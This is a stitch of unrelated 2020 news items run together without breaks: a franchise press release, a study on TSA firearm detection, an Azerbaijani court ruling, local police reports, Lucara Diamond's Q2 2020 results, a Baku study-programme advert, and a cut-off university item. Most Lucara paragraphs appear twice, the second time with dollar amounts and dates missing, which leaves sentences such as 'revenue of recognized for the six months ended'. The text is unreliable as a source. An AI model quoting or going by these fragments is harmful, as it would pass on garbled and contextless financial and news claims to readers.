multi-unit agreements, including the following: Four-unit deal in Minnesota Two-unit deal in Virginia Two-unit deal in Rhode Island Five unit deal in Tennessee and Georgia and Four unit deal in North Carolina Two unit deal in North Carolina Breaking it down even further, the 25 new franchise agreements come from a mix of current and new franchisees. Of the new agreements, eight were with existing franchisees. Glen Snyder, Green Home Solution's Chief Development Officer, credits the notable multi-unit growth to the franchise's attractive incentives for multi-unit owners, saying, "Our average franchisee owns and operates four territories, and we pride ourselves on being an extremely multi-unit friendly franchise operation. For every additional unit or territory, the franchise fee is reduced by a significant sum, making scaling the business an easy decision. We also reward strong sales through incentives like a discount in royalties and discounted contributions to our National Brand Fund if a franchisee hits certain sales goals." Some of the more significant franchise signings of 2020 include the aforementioned five-unit deal in Northwest Georgia and Tennessee where longtime entrepreneur Michael Douglass is adding to his commercial property maintenance business, the two-territory deal with former C-suite executive Roy Coupland outside of Washington DC, and a four-territory deal in Wake County with neighbors and friends Jason Lilly and Justin Crawford who wanted to do good for the planet. "My business partner and I started thinking more and more about what we were passionate about and how we could parlay that into a profitable business opportunity. That's where Green Home Solutions came into the picture," said new franchisee Justin Crawford who signed a four-territory franchise agreement in North Carolina in late April with longtime friend and business partner Jason Lilly. "Both of us wanted to do something 'green' and planet-friendly, and Green Home Solutions is at the forefront of providing multiple EPA registered, non-hazardous, indoor-air quality options." After officially offering services for one month, Crawford and Lilly are already in discussions to move up their five-year plan and start expanding to the east coast of North Carolina. "When franchisees get started with Green Home Solutions, they immediately see the growth potential and look to expand," said Snyder. "If it's the right fit and the right location, we do everything we can to ensure their success in additional territories." About Green Home Solutions Green Home Solutions is a growing indoor air quality franchise with 200+ locations across the country, providing comprehensive indoor air assessments, treatments and analysis services that don't just cover over the problem but, resolves the problem at the source. Our disinfection services, mold remediation, and odor removal solutions create a clean indoor air environment, so your family can breathe cleaner, purer air. Green Home Solutions is also a proud sponsor of Habitat for Humanity. Green Home Solutions is the exclusive provider of Mold Inspection and Mold Remediation services nationally for Habitat for Humanity. Call 1-800-SOLUTIONS or visit www.greenhomesolutions.com and one of our professionals will schedule an appointment to review your location immediately and evaluate your needs. SOURCE Green Home Solutions Related Links https://greenhomesolutionsfranchising.com CATONSVILLE, MD, August 11, 2020 - The Transportation Security Administration (TSA) has reported that it found 4,432 firearms in carry-on baggage at airport security checkpoints in 2019, and more than 20,000 firearms since 2014. New research published in the INFORMS Journal on Applied Analytics suggests that they could have found even more. The initial reaction to these numbers is shock and concern. It's easy to jump to conclusions about airline security, but Sheldon H. Jacobson of the University of Illinois at Urbana-Champaign is encouraging air travelers to look closer. Jacobson was funded in 2001 by the National Science Foundation (NSF) to conduct research on risk-based security and its impact on improving airport security following 9/11. This research provided the technical foundations for PreCheck, a prescreening program for airline passengers that conducts background checks and fingerprinting prior to travel to ensure a speedy travel experience. The amount of passengers prescreened through PreCheck rose from 2014 through 2017, leveling off since then. While this new study, "Using Risk-based Security to Quantify the Number of Firearms Missed at Airport Security Checkpoints," reveals an uptick in firearms found at airport security checkpoints from 2014 through 2019, and estimates thousands more missed, the results aren't bad, they're good. "This 2018 and 2019 data trend suggests that increases in firearms detected since 2017 are largely due to more passengers being screened using PreCheck," said Jacobson, a founder professor of computer science at the University of Illinois. "Moving forward, the most effective way for the TSA to miss fewer firearms in carry-on baggage at airport security checkpoints is to increase the number of PreCheck qualified screenings." What we are seeing is an enhanced focus from TSA agents because they can slow down, as lines are being reduced due to prescreened passengers, and pay closer attention to higher risk passengers who have not been prescreened. Jacobson used publicly available data on firearm detection, number of passengers screened, and the fraction of passenger screenings in PreCheck lanes to estimate the number of firearms missed at airport security checkpoints in the United States. Under the assumption that firearms are only being detected in standard screening lanes he estimates as many as 4,600 firearms may have been missed by TSA officers in carry-on baggage at airport security checkpoints during the above time frame. Another point to note, amid the current COVID-19 pandemic, with 94% fewer travelers from March 22, 2020 through April 22, 2020 and 75% fewer passengers in July 2020, officers working standard lanes are more focused, so miss less, creating a PreCheck-like environment in standard checkpoint lanes. Ironically, the 65% miss rate, cited in a recent editorial written by Jacobson about the impact of this reduced number of passengers, is consistent with the numbers in the new paper. "Although the TSA has missed thousands of firearms at airport security checkpoints, none of these missed items have resulted in any malicious activity," adds Jacobson. "Given that risk-based security is more about people rather than items, partitioning passengers according to their risk is the most effective means to ensure a secure air system for all." The study comments that making PreCheck available to anyone (at a cost below the current $85 for five years) wishing to enroll and undergo the background check, would enhance overall air system security and improve passenger service, a win-win for all. This would allow TSA agents to search for needles in a smaller haystack, if you will. Less hay means that it is easier to identify needles. ### About INFORMS and INFORMS Journal on Applied Analytics INFORMS Journal on Applied Analytics is a premier peer-reviewed scholarly journal focused on the practice of operations research and management science and the impact this practice has on organizations throughout the world. It is published by INFORMS, the leading international association for operations research and analytics professionals. More information is available at http://www.informs.org or @informs. Contact: Ashley Smith 443-757-3578 asmith@informs.org Plus, Bill's Message of the Day, who are the most admired people in America? Learn more about your ad choices. Visit megaphone.fm/adchoices By Trend A Plenum of Azerbaijans Constitutional Court held a regular court session chaired by the court's Chairman Farhad Abdullayev through written procedure of special constitutional proceedings, the press service of the court told Trend. The session considered a constitutional case on the interpretation of Article 2.1.2.6 of the Law of Azerbaijan "On Deposit Insurance" in terms of Articles 47 and 48 of the Law of Azerbaijan "On Banks" at the request of Azerbaijans Cabinet of Ministers. Initially, hearing of Judge Kamran Shafiyevs report on the case was held, followed by study and discussion of the written judgments of the interested parties representatives - Chairman of the Central Bank of Azerbaijan Elman Rustamov and Executive Director of the Deposit Insurance Fund Tural Piriyev. Further, the judgments of Head of Azerbaijani Parliaments Economic and Social Legislation Department Mahammad Bazigov and specialist - President of the Azerbaijani Association of Banks Zakir Nuriyev, as well as the case materials were studied and discussed. After the hearing, study and discussion, the plenum adopted a decision. Taking into account the Article 12 of Azerbaijans Constitution and on the basis of the Article 2.1.2.6 of the Law On Deposit Insurance, Articles 47 and 48 of the Law On Banks, the deposits taken after applying the corrective measure, with an increase in volume and a change in conditions, are considered protected deposits. In accordance with Article 944.1 of Azerbaijans Civil Code, a bank deposit agreement is considered concluded from the moment of the deposit transfer to the bank by the depositor and should be accepted as the initial (main) agreement. The date of migration of the deposit agreements cannot be considered the time of the conclusion of the deposit agreement. The decision comes into force from the date of publication, is final and irreversible, cant be changed or officially interpreted by any authority or person. City firefighters and police officers searched along the Otonabee River at the London Street Footbridge early Monday morning after police were called when someone thought they saw a body in the water. Platoon Chief Stephen Reid said the fire department was called in to assist police with the search near the London Street dam and power generating station. The fire department launched a boat and conducted a thorough search of the waterway just after midnight before suspending the search after finding nothing. If they (police) get any further updates they can call us back if more of a search is warranted, Reid said. NYPD: Officers Didnt Ignore Attack on 11-Year-Old Girl New York police officials said officers didnt ignore an 11-year-old girl who was being attacked, after a local paper claimed officers stood by and watched the assault happen. The New York Police Department (NYPD) released video footage that police said showed officers responding to the assault but unable to get to the scene because a group prevented them from moving. Despite one newspapers account, our officers who came to the assistance of an 11-year-old girl being assaulted in Harlem on Sunday did not stand by, the NYPD said in a statement. They were met by a large crowd that hurled projectiles at them and had to reposition, then called for additional officers. The footage shows a group of about 12 officers standing on a street and the adjoining sidewalk. The officers begin to back up as bottles and other items are thrown at them by a crowd that appeared to be as large as 100. The denial came after the New York Post published five pictures it said showed an 11-year-old girl being slapped, punched, kicked, and shocked with a stun gun by a group of five girls on Sunday night in the Harlem neighborhood. The violence took place over approximately 4 minutes, the paper said, but police officers sat idly in nearby cruisers and didnt get out until the girl was beaten. Despite one newspapers account, our officers who came to the assistance of an 11-year-old girl being assaulted in Harlem on Sunday did not stand by. They were met by a large crowd that hurled projectiles at them and had to reposition, then called for additional officers. pic.twitter.com/aeZ1zNnqrJ NYPD NEWS (@NYPDnews) August 10, 2020 A photographer on the scene said he saw no bottles being thrown at police, according to the paper. An NYPD spokesman told the Post that the claims were completely inaccurate. The officers were met by a large crowd while attempting to come to this persons assistance. They were outnumbered. Projectiles were thrown at them. And they were forced to reposition and call every available resource in the area, the spokesman said. As in most large cities in the United States, the number of murders and shootings have spiked in New York City in recent months. The number of some other crimes have fallen, including grand larceny and rape. New York lawmakers last month cut $1 billion from the NYPDs budget and placed a number of new restrictions on police officers, along with revising laws pertaining to bail. The new restrictions are ill-conceived and leave officers handcuffed, experts told The Epoch Times. Its now going to make it impossible for police officers to overpower somebody without hurting them, Robert Brown, a former NYPD captain who is now a criminal lawyer, told The Epoch Times. He was referring to a bill signed into law by Mayor Bill de Blasio on July 15 that says no person shall restrain an individual in a manner that restricts the flow of air or blood by sitting, kneeling, or standing on the chest or back in a manner that compresses the diaphragm, in the course of effecting or attempting to effect an arrest. Petr Svab contributed to this report. In the home of Elie Chamoun, 57, they crouch on their knees and sweep aside the fine film of glass powder and the bigger shards. They work in his daughters room while he sits in the living room, traumatized from the blast. Chamoun said he cannot stay at home for more than 10 minutes at time, his mind wandering to dark places, wondering what would have happened had his grown daughter been in her bed at the time of the blast. (She had been out with friends, returned home the next day and passed out from shock, he said.) Karowe has continued to operate throughout the COVID-19 pandemic, and delivered strong production and cost results in Q2, consistent with the original 2020 plan and below budget. Lucara made a deliberate decision not to tender any of its +10.8 carat production after early March 2020 amidst the uncertainty caused by the global crisis, and instead entered into a ground breaking supply agreement with HB Group, for the remainder of 2020. This large, high value production from Karowe has historically accounted for approximately 70% of Lucara's annual revenues. Revenue from this agreement will be realised starting in Q3 2020 based on a polished price mechanism. amidst the uncertainty caused by the global crisis, and instead entered into a ground breaking supply agreement with HB Group, for the remainder of 2020. This large, high value production from Karowe has historically accounted for approximately 70% of Lucara's annual revenues. Revenue from this agreement will be realised starting in Q3 2020 based on a polished price mechanism. Cash inflows of $21.0 million during Q2, consisting of a partial payment of $13.5 million under the HB agreement and proceeds of $7.5 million from continuous sales on Clara, Lucara's digital sales platform and a tender in Antwerp on June 18 for stones smaller than 10.8 carats. during Q2, consisting of a partial payment of under the HB agreement and proceeds of from continuous sales on Clara, Lucara's digital sales platform and a tender in on for stones smaller than 10.8 carats. 5 sales were completed on Clara during Q2, providing liquidity for the Company in this unexpected period of travel restrictions. Clara's customer base increased from 32 to 35 during the second quarter and now stands at 46. Third-party trial sales are expected to commence in Q3. Lucara continues to have a strong availability of working capital, including $13.7 million in cash at the end of Q2 and $31 million available from its revolving term working capital facility. Eira Thomas, President & CEO commented: "Though our 100% owned Karowe mine continues to operate at full capacity, Lucara made the deliberate decision not to sell any of its +10.8 carat diamond production during the period, in response to a weakened market demand. Subsequently, we are pleased to report that Lucara has now secured a ground breaking supply agreement with the HB Group, which will deliver regular revenues on superior pricing terms to those currently being achieved at tender, and helps position Lucara to move forward with key underground expansion activities for Karowe in 2020." REVIEW FOR THE QUARTER AND FIRST HALF ENDED JUNE 30, 2020 Karowe has continued to operate throughout the COVID-19 pandemic, and delivered strong production results in Q2, consistent with the original 2020 plan and below budget. Adjustments were made to the original 2020 mine plan by reducing waste and ore mined through the second quarter to ensure the health and safety of employees operating in the pit and to reduce variable costs. The process plant continued at full capacity, with additional safety measures in place, processing ore almost entirely from the South Lobe. Overall performance during the second quarter remains consistent with the strong operational results achieved over the past two years. Operational highlights from Q2 2020 were as follows: Ore and waste mined of 0.7 million tonnes and 0.6 million tonnes, respectively 0.71 million tonnes of ore processed resulting in 101,203 carats recovered, achieving a recovered grade of 14.3 carats per hundred tonnes 201 Specials (+10.8 carats) recovered from direct milling during the second quarter, representing 6.4% weight percentage of total direct milling recovered carats, in line with mine plan expectations 9 diamonds were recovered greater than 100 carats in weight, including 2 > 200 carats in weight Karowe had no lost time injuries resulting in a twelve-month rolling Lost Time Injury Frequency Rate of 0 Sales of $7.5 million were generated through the second quarter tender of stones smaller than 10.8 carats held on June 18th in Antwerp and through Clara. Sales on Clara continued throughout Q2 with 5 sales completed, providing liquidity for the Company in this unexpected period of travel restrictions. Clara's customer base increased from 32 to 35 during the second quarter and now stands at 46. were generated through the second quarter tender of stones smaller than 10.8 carats held on in and through Clara. Sales on Clara continued throughout Q2 with 5 sales completed, providing liquidity for the Company in this unexpected period of travel restrictions. Clara's customer base increased from 32 to 35 during the second quarter and now stands at 46. No diamonds in excess of +10.8 carats were sold in the second quarter. Instead, these diamonds, which represent about 70% of Lucara's revenue, will be sold under the recently announced 2020 supply agreement with HB. The purchase price paid for Lucara's +10.8 carat rough diamonds will be based on the estimated polished outcome, with a true up paid on actual achieved polished sales thereafter, less a fee and the cost of manufacturing. Starting in Q3 2020, this pricing mechanism is expected to deliver regular cash flow for this important segment of our production profile at superior prices. A deposit of $13.5 million was received by the Company as partial payment for +10.8 carat goods delivered to HB under the new sales agreement. This deposit has been recognized as deferred revenue as of June 30, 2020 . As polished goods are sold by HB under the new sales agreement, the Company will recognize the revenue associated with the sale of those goods and their corresponding inventory cost. was received by the Company as partial payment for +10.8 carat goods delivered to HB under the new sales agreement. This deposit has been recognized as deferred revenue as of . As polished goods are sold by HB under the new sales agreement, the Company will recognize the revenue associated with the sale of those goods and their corresponding inventory cost. Total revenue of $7.5 million was recognized in Q2 2020 (Q2 2019: $42.5 million ) or $109 per carat (Q2 2019: $417 per carat) from the sale of 68,979 carats (Q2 2019: 101,931 carats). Only stones in size classes below 10.8 carats were sold during the second quarter of 2020. The achieved price in Q2 2020 for the stones in size classes below 10.8 carats reflects the overall rough market price erosion. was recognized in Q2 2020 (Q2 2019: ) or per carat (Q2 2019: per carat) from the sale of 68,979 carats (Q2 2019: 101,931 carats). Only stones in size classes below 10.8 carats were sold during the second quarter of 2020. The achieved price in Q2 2020 for the stones in size classes below 10.8 carats reflects the overall rough market price erosion. Lucara recognized revenue of $41.6 million for the six months ended June 30, 2020 ("H1 2020") from the sale of 155,158 carats or $268 per carat. This represents a decrease from revenue of $91.2 million recognized for the six months ended June 30, 2019 ("H1 2019") from the sale of 196,989 carats or $463 per carat. The decrease in revenue is largely attributed to the sales of Q2 production of the +10.8 carat diamonds being deferred to Q3 2020 under the new supply agreement with HB. for the six months ended ("H1 2020") from the sale of 155,158 carats or per carat. This represents a decrease from revenue of recognized for the six months ended ("H1 2019") from the sale of 196,989 carats or per carat. The decrease in revenue is largely attributed to the sales of Q2 production of the +10.8 carat diamonds being deferred to Q3 2020 under the new supply agreement with HB. The Company recorded a net loss of $13.9 million for Q2 2020 resulting in a $0.04 loss per share for the quarter. This compares to net income of $0.7 million for Q2 2019 and earnings per share of $Nil. A decrease in total revenue, predominantly from deferral of sales of +10.8 carat stones, had the most significant impact on the current quarter's results. for Q2 2020 resulting in a loss per share for the quarter. This compares to net income of for Q2 2019 and earnings per share of $Nil. A decrease in total revenue, predominantly from deferral of sales of +10.8 carat stones, had the most significant impact on the current quarter's results. Cash flow used in operations in Q2 2020 totaled $4.9 million compared to cash flow earned from operations of $6.5 million in Q2 2019, largely due to the $35.1 million decrease in comparable revenue between the periods and an increased outflow for taxes payable relating to 2019 tax payments required in 2020. compared to cash flow earned from operations of in Q2 2019, largely due to the decrease in comparable revenue between the periods and an increased outflow for taxes payable relating to 2019 tax payments required in 2020. Operating cash cost (1) per tonne of ore processed for the six months ended June 30, 2020 was $27.14 per tonne (H1 2019: $31.16 per tonne), which is below the initial full year forecast cash cost of $32 - $36 per tonne processed and 13% lower than the comparative period last year. The operating cash cost per tonne processed in Q2 2020 was positively impacted by foreign exchange depreciation of the Botswana Pula of 7% against the U.S. dollar and the benefits of cost optimization efforts undertaken in the second half of 2019, offset by a 9% decrease in tonnes processed as compared to H1 2019. per tonne of ore processed for the six months ended was per tonne (H1 2019: per tonne), which is below the initial full year forecast cash cost of - per tonne processed and 13% lower than the comparative period last year. The operating cash cost per tonne processed in Q2 2020 was positively impacted by foreign exchange depreciation of the Botswana Pula of 7% against the U.S. dollar and the benefits of cost optimization efforts undertaken in the second half of 2019, offset by a 9% decrease in tonnes processed as compared to H1 2019. Adjusted EBITDA (1) year to date was negative $1.8 million (H1 2019: $38.6 million ). Adjusted EBITDA was affected by the decrease in total revenue mainly from the decision to withhold the +10.8 carat diamonds from the Q2 tender but also in part due to market conditions for the smaller goods sold, particularly in the second quarter tender held in June. year to date was negative (H1 2019: ). Adjusted EBITDA was affected by the decrease in total revenue mainly from the decision to withhold the +10.8 carat diamonds from the Q2 tender but also in part due to market conditions for the smaller goods sold, particularly in the second quarter tender held in June. Operating expenses per carat (1) sold totalled $189 per carat in the six months ended June 30, 2020 , up from $171 per carat sold in the comparable period last year. Total carats sold were approximately 21% less by volume than the same period last year (H1 2020: 155,158 carats sold; H1 2019: 196,989 carats sold). sold totalled per carat in the six months ended , up from per carat sold in the comparable period last year. Total carats sold were approximately 21% less by volume than the same period last year (H1 2020: 155,158 carats sold; H1 2019: 196,989 carats sold). Adjusted EBITDA and the average price per carat sold were significantly affected by the absence of large stone sales in the second quarter. Each carat holds the same cost to produce, however, the revenue and resulting margin is driven by the value of the large stones which were not sold in Q2 2020. As at June 30, 2020 , the Company had cash and cash equivalents of $13.7 million , an increase of $2.5 million from December 31, 2019 . The Company maintained draws totaling $19.0 million on the working capital facility from Q1 2020, however up to $31.0 million is available to be drawn for working capital, if required. The Company ended the second quarter with a strong cash position and available liquidity. , the Company had cash and cash equivalents of , an increase of from . The Company maintained draws totaling on the working capital facility from Q1 2020, however up to is available to be drawn for working capital, if required. The Company ended the second quarter with a strong cash position and available liquidity. The full impact of COVID-19 on Lucara's operations and production outlook for 2020 remains highly uncertain, and as a result, the Company is maintaining the suspension of its 2020 guidance until further notice. (1) See Non-IFRS measures DIAMOND SALES Karowe's large, high value diamonds have historically accounted for approximately 70% of Lucara's annual revenues. Though the mine has remained fully operational throughout the COVID-19 pandemic, Lucara made a deliberate decision not to tender any of its +10.8 carat production after early March 2020 amidst the uncertainty caused by the global crisis. Subsequently, in July 2020, Lucara announced a ground breaking partnership agreement with the HB Group headquartered in Antwerp, Belgium ("HB"), entering into a definitive supply agreement for the remainder of 2020, for all of the diamonds produced in excess of +10.8 carats from our 100% owned Karowe Diamond mine in Botswana. Under the supply agreement with HB, Lucara's +10.8 carat production will be sold at prices based on the estimated polished outcome of each diamond, determined through state of the art scanning and planning technology, with a true up paid on actual achieved polished sales thereafter, less a fee and the cost of manufacturing. This unique pricing mechanism is expected to deliver regular cash flow for this important segment of our production profile at superior prices. The Company will start recognizing revenue from this sales agreement inclusive of the production from the +10.8 carat stones that would have ordinarily been part of the Q2 tender in the third quarter this year. As of June 30, 2020, the Company received a deposit of $13.5 million for a portion of +10.8 carat goods delivered under the new sales agreement. This deposit has been recognized as deferred revenue and will be brought into income as the polished diamonds are sold. Quarterly revenue of $7.5 million for the three months ended June 30, 2020 includes only proceeds from the sale of diamonds smaller than 10.8 carats that were sold on Clara or through the re-scoped Q2 tender. As a result, revenue recognized in Q2 2020 is materially lower than previous quarters. Travel restrictions in response to COVID-19 continue, impacting the Company's ability to complete tenders in Botswana. As a temporary measure, the Government of Botswana has granted Lucara permission to hold diamond sales in Antwerp. Lucara completed its rescheduled Q2 tender on June 18th in Antwerp, Belgium, selling diamonds in size classes below 10.8 carats and achieving sales prices within 5% of forecast. Diamonds that are suitable continue to be re-directed from the tender offering for sale through Clara, the digital sales platform that allows buyers to place orders without physically viewing the goods and to purchase only the diamonds they need on a stone by stone basis. Sales of stones between 1 and 10 carats have continued on Clara, with five sales taking place on Clara during the second quarter of 2020. Since the beginning of 2020 Clara's customer base has increased from 27 to 46 buyers. Discussions continue with third parties to grow supply on Clara to match demand from the larger customer base. We anticipate starting trials of third party diamonds during the third quarter. COVID-19 RESPONSE In response to the COVID-19 pandemic, the Company implemented its crisis management strategy in March of this year, designed to protect the health and well-being of our employees in Botswana and Canada as well as the financial well-being of the business. The Karowe Mine remains fully operational under new measures and guidelines implemented by the Government of Botswana in late March 2020. These measures designated mining as an essential service in Botswana and included increased travel restrictions, reduced overall staffing levels and increased and appropriate social distancing. A strong operating environment continued at the Karowe Mine with Q2 delivering operating results consistent with the original 2020 plan and costs achieved below budget. The full impact of COVID-19 on Lucara's operations and production outlook for 2020 remains highly uncertain, and as a result, the Company is maintaining the suspension of its 2020 guidance until further notice. Lucara's planned capital spending program for 2020 was to be largely focused on the initiation of an underground expansion project at Karowe and funded entirely from free cash flow generated by operations. Although the recently announced supply agreement with HB is expected to provide regular monthly cash flow for the remainder of the year, some uncertainty remains around estimating revenue for that period. As a result, the underground expansion program has been re-scoped and reduced from the previous budget of $53 million and will focus on long lead time critical-path items through the remainder of the year. During H1 2020, $5.6 million was spent on project execution activities including detailed engineering and design work and early procurement initiatives. The underground expansion program, as previously announced, has an estimated capital cost of $514 million and a five year period of development, with flexibility to adjust capital spending depending on market conditions. The Company expects to finance part of the capital cost with debt and the balance from cash flow generated from operations. Financing options continue to be assessed. The Company continues to have a strong availability of working capital, including $13.7 million in cash at the end of Q2 and $31 million available from its revolving term working capital facility with the Bank of Nova Scotia. The $50 million credit facility was extended to May 5, 2021 during the second quarter of 2020. As part of the extension, and until Lucara obtains greater clarity on its cash flow projections in the short-term, Lucara has agreed to limit capital expenditures related to the underground expansion project. The extension of this facility provides an important source of liquidity to Lucara during a period of significant uncertainty in global markets. FINANCIAL HIGHLIGHTS Three months ended June 30 Six months ended June 30 In millions of U.S. dollars, except carats or otherwise noted 2020 2019 2020 2019 Revenues $ 7.5 $ 42.5 $ 41.6 $ 91.2 Net income (loss) for the period (13.9) 0.7 (17.1) 8.1 Earnings (loss) per share (basic and diluted) (0.04) 0.00 (0.04) 0.02 Operating cash flow per share* (0.02) 0.03 0.00 0.08 Cash on hand 13.7 7.1 13.7 7.1 Amounts drawn on the working capital facility 19.0 5.0 19.0 5.0 Average price per carat sold ($/carat)* 109 417 268 463 Operating expenses per carat sold ($/carat)* 174 174 189 171 Operating margin per carat sold ($/carat)* (65) 243 76 292 Carats sold 68,979 101,931 155,158 196,989 (*) Operating cash flow per share, average price per carat sold, operating expenses per carat sold and operating margin per carat sold are Non-IFRS measures. QUARTERLY RESULTS OF OPERATIONS KAROWE MINE, BOTSWANA UNIT Q2-20 Q1-20 Q4-19 Q3-19 Q2-19 Sales Revenues generated from sales tenders conducted in the quarter US$M 7.3 33.8 56.0 45.3 42.5 Carats sold for revenues recognized during the period Carats 68,861 86,010 98,547 116,200 101,931 Average price per carat for proceeds received during the period US$ 107 393 568 390 417 Production Tonnes mined (ore) Tonnes 683,282 878,087 694,591 823,875 773,861 Tonnes mined (waste) Tonnes 591,804 1,199,660 740,593 1,489,668 1,826,972 Tonnes processed Tonnes 705,421 639,430 647,502 680,665 713,037 Average grade processed cpht (*) 14.3 14.3 13.31 13.92 14.23 Carats recovered Carats 101,203 91,536 86,4221 104,9902 109,3123 Costs Operating costs per carats sold (see Non-IFRS measures) US$ 174 201 209 201 174 Sustaining capital expenditures US$M 3.7 2.4 13.0 0.7 1.4 Underground expansion project US$M 3.9 1.7 - - - (*) carats per hundred tonnes (1) Carats recovered during the period included 273 carats recovered from re-processing historic recovery tailings from previous milling and are excluded from the average grade processed. (2) Carats recovered during the period included 10,646 carats recovered from re-processing historic recovery tailings from previous milling and are excluded from the average grade processed. (3) Carats recovered during the period included 8,172 carats recovered from re-processing historic recovery tailings from previous milling and are excluded from the average grade processed. CONFERENCE CALL The Company will host a conference call and webcast to discuss the results on Tuesday, August 11, 2020 at 7:00 a.m. Pacific, 10:00 a.m. Eastern, 3:00 p.m. UK, 4:00 p.m. CET. CONFERENCE CALL: Please call in 10 minutes before the conference call starts and stay on the line (an operator will be available to assist you). Conference ID: 80135892 / Lucara Diamond Dial-In Numbers: Toll-Free Participant Dial-In North America (+1) 888 390 0546 All International Participant Dial-In (+1) 778 383 7413 Webcast: To view the live webcast presentation, please log on using this direct link: https://produceredition.webcasts.com/starthere.jsp?ei=1346455&tp_key=ac4554d235 The presentation slideshow will also be available in PDF format for download from the Lucara website www.lucaradiamond.com shortly before the conference call. Conference Replay: A replay of the telephone conference will be available two hours after the completion of the call until August 19, 2020. Replay number (Toll Free North America) (+1) 888 390 0541 Replay number (International) (+1) 416 764 8677 The pass code for the replay is: 135892#. On behalf of the Board, Eira Thomas President and Chief Executive Officer Follow Lucara Diamond on Facebook, Twitter, Instagram, and LinkedIn ABOUT LUCARA Lucara is a leading independent producer of large exceptional quality Type IIa diamonds from its 100% owned Karowe Mine in Botswana and owns a 100% interest in Clara Diamond Solutions, a secure, digital sales platform positioned to modernize the existing diamond supply chain and ensure diamond provenance from mine to finger. The Company has an experienced board and management team with extensive diamond development and operations expertise. The Company operates transparently and in accordance with international best practices in the areas of sustainability, health and safety, environment, and community relations. ABOUT CLARA Clara Diamond Solutions Limited Partnership (Clara), wholly owned by Lucara Diamond Corp, is a secure, digital sales platform that uses proprietary analytics together with cloud and blockchain technologies to modernize the existing diamond supply chain, driving efficiencies, unlocking value and ensuring diamond provenance from mine to finger. The information in this release is accurate at the time of distribution but may be superseded or qualified by subsequent news releases. The information is information that Lucara is obliged to make public pursuant to the EU Market Abuse Regulation and the Swedish Securities Markets Act. This information was submitted for publication, through the agency of the contact person set out above, on August 10, 2020 at 2:30pm Pacific Time. NON-IFRS MEASURES This news release refers to certain financial measures, such as operating cash flow per share, adjusted EBITDA, average price per carat sold, operating cost per carat sold, operating margin per carat sold and operating cost per tonne of ore processed which are not measures recognized under IFRS and do not have a standardized meaning prescribed by IFRS. These measures may differ from those made by other corporations and accordingly may not be comparable to such measures as reported by other corporations. These measures have been derived from the Company's financial statements, and applied on a consistent basis, because the Company believes they are of assistance in the understanding of the results of operations and financial position. Please refer to the Company's MD&A for the second quarter, 2020 for an explanation of non-IFRS measures used. CAUTIONARY NOTE REGARDING FORWARD LOOKING STATEMENTS Certain of the statements made and contained herein and elsewhere constitute forward-looking statements as defined in applicable securities laws. Generally, these forward-looking statements can be identified by the use of forward-looking terminology such as "expects", "anticipates", "believes", "intends", "estimates", "potential", "possible" and similar expressions, or statements that events, conditions or results "will", "may", "could" or "should" occur or be achieved. Forward-looking statements are based on the opinions and estimates of management as of the date such statements are made, and they are subject to a number of known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievement expressed or implied by such forward-looking statements. The Company believes that expectations reflected in this forward-looking information are reasonable, but no assurance can be given that these expectations will prove to be accurate and such forward-looking information included herein should not be unduly relied upon. In particular, this release may contain forward looking information pertaining to the following: the impact of COVID-19 on the Company's cash flows and operations and its plans with respect to the Karowe underground expansion project; the estimates of the Company's mineral reserves and resources; estimates of the Company's production and sales volumes for the Karowe Diamond Mine; estimated costs for capital expenditures related to the Karowe Diamond Mine; production costs; exploration and development expenditures and reclamation costs; expectation of diamond prices and the potential for the supply agreement with HB to achieve both higher prices from the sale of polished diamonds and to provide more regular cash flow than in previous periods; changes to foreign currency exchange rates; assumptions and expectations related to the possible development of an underground mining operation at Karowe including associated capital costs, financing strategies and timing; expectations in respect of the development and functionality of the technology related to the Clara platform, the intended benefits and performance of the Clara platform, including ability to complete sales without viewing diamonds, the growth of the Clara platform, the timing and frequency of sales on the Clara Platform, and the quantum and timing of participation of third parties on the Clara platform; expectations regarding the need to raise capital and its availability; possible impacts of disputes or litigation and other forward looking information. There can be no assurance that such forward looking statements will prove to be accurate, as the Company's results and future events could differ materially from those anticipated in this forward-looking information as a result of those factors discussed in or referred to under the heading "COVID-19 Global Pandemic" in the Company's most recent MD&A and under the heading "Risks and Uncertainties"' in the Company's most recent Annual Information Form, both available at http://www.sedar.com, as well as changes in general business and economic conditions, the ability to continue as a going concern, changes in interest and foreign currency rates, the supply and demand for, deliveries of and the level and volatility of prices of rough diamonds, costs of power and diesel, acts of foreign governments and the outcome of legal proceedings, inaccurate geological and recoverability assumptions (including with respect to the size, grade and recoverability of mineral reserves and resources), and unanticipated operational difficulties (including failure of plant, equipment or processes to operate in accordance with specifications or expectations, cost escalations, unavailability of materials and equipment, government action or delays in the receipt of government approvals, industrial disturbances or other job actions, adverse weather conditions, and unanticipated events relating to health safety and environmental matters). Accordingly, readers are cautioned not to place undue reliance on these forward-looking statements which speak only as of the date the statements were made, and the Company does not assume any obligations to update or revise them to reflect new events or circumstances, except as required by law. SOURCE Lucara Diamond Corp. For further information: North America: Investor Relations & Communications, +1 604 678 5834 | [email protected]; Sweden: Robert Eriksson, Investor Relations & Public Relations, +46 701 112615 | [email protected]; UK Public Relations: Emily Moss / Jos Simson, Tavistock, +44 778 855 4035 | [email protected] Related Links https://www.lucaradiamond.com/ BAKU, Azerbaijan, Aug. 11 Trend: Hundreds of graduates who have completed this highly competitive program in Europe and in the United States have advanced in their careers. It is now easier to master in high-level specialties of foreign universities in Baku. The Master of Science Program in Engineering Management from Vienna University of Technology (TU Wien), one of the leading universities in Europe, will operate in Baku from November this year with constantly updated content to meet the needs of the modern labor market. Graduates of this Master's Program obtain a diploma from the Vienna University of Technology, in addition to which they will be able to take advantage of opportunities offered to students at European universities during their studies. Thus, during their studies, students get the right to live in Austria, benefit from the university campus, library, become a member of the university's alumni club, and so on. The lectures will be taught solely in English only once a month in 13 modules held on weekends. Thus, 11 modules will be taught in Baku and 2 combined modules in Vienna. The study period is 3 semesters and will last from November 2020 to May 2022. Classes will be taught by both international academic and industry professionals. The program is open to candidates with a bachelor's degree or long-term technical or management experience. Scholarships will be applied to citizens of Azerbaijan, Georgia, Russia, Iran and Kazakhstan who want to study in Baku, as well as citizens of other countries with residence permits in these countries, and the tuition fee will be 11,500 euros. The original tuition fee for this program in Vienna is 19,900 euros. Those who want to rise in management can achieve their goals by participating in the program of the Vienna University of Technology, which start operating in Baku. To do this, the completed application form should be sent to [email protected] by August 31, 2020. The list of documents required for admission can be found at http://tuwien.at/baku-track. The number of students intended to control the quality of the program is limited, so hurry up to apply, places are limited! For more information: www.azerobotics.com/embaku/ Three weeks before the fall semester starts at the University of Maryland, the school's president announced that classes would begin online. The state's flagship school had planned to hold in-person classes in the 